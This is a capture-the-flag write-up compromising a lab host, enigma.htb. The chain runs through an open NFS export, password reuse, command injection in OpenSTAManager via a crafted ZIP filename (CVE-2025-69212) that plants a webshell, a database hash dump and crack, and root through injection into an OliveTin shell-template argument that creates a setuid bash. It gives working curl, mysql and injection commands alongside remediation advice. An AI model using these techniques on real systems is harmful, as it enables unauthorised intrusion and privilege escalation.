Enigma is "easy" only on the difficulty label — it's a genuinely satisfying chain where each service coughs up the key to the next, and nothing along the way is a memory-corruption bug. An unauthenticated NFS export hands over onboarding paperwork with a temp password; password reuse walks that into a second user's webmail, which leaks credentials for a CRM; the CRM is a patched-but-still-vulnerable OpenSTAManager (CVE-2025-69212) that turns a ZIP upload into a webshell; a database password gets us a real user; and root is a misconfigured OliveTin automation tool that happily runs root-level commands — with attacker-supplied arguments — for anyone who can reach its socket.
The scan is a mail-server-shaped surface — SSH, HTTP, POP3/IMAP (Dovecot), and crucially NFS on 2049. The TLS certs and an HTTP redirect name the host enigma.htb.
nmap
$ nmap -p- -sCV <TARGET_IP>22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (redirect → http://enigma.htb/)
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
993/995 open ssl/imap, ssl/pop3
2049/tcp open nfs (RPC 100003 v3,4)
A vhost fuzz on enigma.htb turns up mail001 (Roundcube webmail) and later support_001. Add them to /etc/hosts and move on to the NFS export.
Initial Access — Anonymous NFS Leak
showmount lists a single export with the tell-tale * — no client restriction, anyone can mount it:
showmount → mount
$ showmount -e <TARGET_IP>Export list for <TARGET_IP>:
/srv/nfs/onboarding *$ sudo mount -t nfs <TARGET_IP>:/srv/nfs/onboarding /tmp/onboarding -o ro$ ls -la /tmp/onboarding-rw-r--r-- 1 root root 1751 Feb 19 14:53 New_Employee_Access.pdf
One world-readable file, named exactly like the kind of onboarding paperwork that ships a temp password. pdftotext confirms it:
pdftotext New_Employee_Access.pdf -
Enigma Corp IT Department — New Employee System Access
Employee: Kevin Mitchell
Webmail Access
URL: http://mail001.enigma.htb
Username: kevin
Password: Enigma2024!
Please change your password upon first login.
An NFS export with * and no root_squash consideration is the entire foothold. Exports should be pinned to specific hosts/subnets, mounted read-only where possible, and — obviously — never used to stage credential documents.
Password Reuse — kevin → sandra
The PDF's creds log into Roundcube as kevin, whose inbox is a bland welcome email from Sarah in Accounts. That's the lead: Sarah was onboarded the same way Kevin was, and the document told Kevin to change his temp password — nothing suggests anyone actually did. The cheap hypothesis is password reuse across staff, and it pays off:
sandra : Enigma2024!
Login to http://mail001.enigma.htb as sandra : Enigma2024! → success
Sandra's mailbox has the payoff — a "Re: OpenSTAManager Access Request" from IT with credentials for a third app:
Roundcube here is 1.6.16 — the patched release, not a vulnerable one. The way forward wasn't a webmail CVE; it was reading the mail. Enumeration isn't only about versions.
support_001 runs OpenSTAManager 2.9.8, and the admin creds log straight in. That version is vulnerable to CVE-2025-69212, an OS command injection in P7M (signed-XML) file processing. The mechanism: when the app decodes a .p7m file it shells out to OpenSSL, interpolating the filename into the command with no sanitisation:
The importFE_ZIP plugin extracts an uploaded ZIP and feeds each .p7m entry's name into that exec(). So a ZIP whose entry name closes the quote and injects a command is arbitrary execution. One constraint: PHP's ZipArchive::extractTo() splits on /, so the payload must be slash-free — cd files && … instead of an absolute path:
Reading the filename against the vulnerable line: invoice.p7m" closes the quote wrapping the benign name, ;{cmd}; runs the payload as its own statement, and the trailing echo ".p7m absorbs the leftover -inform DER … as harmless arguments so nothing throws a syntax error. Upload it through the Importazione FE picker (a plain POST /actions.php, op=save, file field blob):
upload & confirm RCE
$ curl -b osm.cookies -F op=save -F id_module=14 -F id_plugin=48 \
-F 'blob=@exploit.zip;type=application/zip' http://support_001.enigma.htb/actions.php{"error":"... non è un file ZIP valido."} # fires AFTER exec() already ran$ curl "http://support_001.enigma.htb/files/SHELL.php?c=id"uid=33(www-data) gid=33(www-data) groups=33(www-data)
That XML-parse error is confirmation, not failure — the decoder chokes on DUMMY_P7M_CONTENT because it isn't valid signed XML, but that check happens only after our injected filename has already run through exec(). The webshell is on disk.
www-data → haris — Database Password Reuse
OpenSTAManager's config.inc.php holds its MySQL login, and OSM stores its own users as bcrypt in the zz_users table:
config → db → hashes
www-data$ grep -E 'db_(username|password|name)' config.inc.php$db_username = 'brollin'; $db_password = 'Fri3nds@9099'; $db_name = 'openstamanager';www-data$ mysql -u brollin -p'Fri3nds@9099' openstamanager -N -e \
'SELECT username,password FROM zz_users;'admin $2y$10$rTJVUNyGGKPlhw2cFdf5Ae...
haris $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC
haris is a real system user too. His bcrypt falls to rockyou in seconds:
SSH is public-key only, so su haris is the way in. The user flag lives in his home:
su haris → user.txt
www-data$ su haris # bestfriendsharis@enigma:~$ cat user.txt[redacted — user flag]
Root — A Root Automation Tool That Trusts Its Input
haris has no sudo. Process enumeration turns up something running as root: /usr/local/bin/OliveTin — a web-based "run buttons for shell commands" tool, listening on 127.0.0.1:1337. Its config (/etc/OliveTin/config.yaml) has two damning settings and one dangerous action:
/etc/OliveTin/config.yaml (excerpt)
authRequireGuestsToLogin: false# guests can do anything
defaultPermissions: { exec: true }
- title: Backup Database
id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_pass
type: password# NOT an ascii_identifier — never sanitised
Two of the three arguments are ascii_identifier (validated), but db_pass is a password type — free-form, no character filtering — and it's dropped straight into a shell template. Close the -p'…' quote and inject.
The subtlety that cost me time: this action is only reachable as haris. From the www-data webshell, every connection to 127.0.0.1:1337 simply hung — a host firewall owner-match drops the web user's traffic to OliveTin. That's exactly why the box needs the su haris step; it isn't optional colour. As haris, the API returns 200 immediately.
OliveTin speaks ConnectRPC. The async StartAction method silently dropped my actionId; the working call is StartActionAndWait. Inject through db_pass to drop a SUID-root bash:
The template renders as mysqldump -u backup_svc -p'x' ; install -m 4755 /bin/bash /tmp/.bs ; #' production … — the install runs as root and drops a setuid bash. Then -p keeps the effective UID at 0:
"Run buttons for shell commands" is a tidy idea until the buttons take free-form arguments, run as root, and accept unauthenticated guests. Any one of those turned off stops this: validate/whitelist argument values, never run the daemon as root, and require auth for exec. Security-by-obscurity (binding to loopback) only bought a firewall rule that one su defeats.
Why it worked
Stage
Root cause
→ kevin
NFS export shared to * with a credential document inside it (CWE-552 / CWE-284)
kevin → sandra
Shared onboarding temp password reused across staff, never rotated (CWE-521 / CWE-259)
→ www-data
OpenSTAManager ≤2.9.8 interpolates a .p7m filename into exec() — CVE-2025-69212 (CWE-78)
→ haris
DB password in config + a crackable bcrypt reused as the system password (CWE-522)
→ root
Root-run OliveTin with guest exec and an unsanitised password-type argument in a shell template (CWE-78 / CWE-269 / CWE-306)